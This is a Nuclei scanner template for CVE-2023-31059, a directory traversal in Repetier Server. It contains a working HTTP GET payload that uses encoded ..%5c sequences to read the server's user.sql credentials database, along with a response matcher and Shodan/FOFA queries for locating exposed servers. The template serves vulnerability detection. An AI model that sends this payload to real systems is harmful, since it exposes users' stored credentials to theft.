id: CVE-2023-31059 info: name: Repetier Server - Directory Traversal author: parthmalhotra,pdresearch severity: high description: | Repetier Server through 1.4.10 allows ..%5c directory traversal for reading files that contain credentials, as demonstrated by connectionLost.php. remediation: | Apply the latest security patches or updates provided by the vendor to fix the directory traversal vulnerability in Repetier Server. reference: - https://cybir.com/2023/cve/poc-repetier-server-140/ - https://www.repetier-server.com/download-repetier-server/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-31059 cwe-id: CWE-22 epss-score: 0.00393 epss-percentile: 0.70534 cpe: cpe:2.3:a:repetier-server:repetier-server:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: repetier-server product: repetier-server shodan-query: title:"Repetier-Server" fofa-query: title="Repetier-Server" tags: cve,cve2023,repetier,lfi http: - method: GET path: - "{{BaseURL}}/views..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cProgramData%5cRepetier-Server%5cdatabase%5cuser.sql%20/base/connectionLost.php" matchers-condition: and matchers: - type: binary part: body binary: - 53514C69746520666F726D6174203300 - type: status status: - 200 # digest: 4a0a00473045022073b0a0a93b9b5e3b9d8993aa2e819649837f6e87484ec960275900f2eba8b1f6022100f078d8e3795e6f11f103bc4b290fd817af4baeb06094116c5a914427fc782531:922c64590222798bb761d5b6d8e72950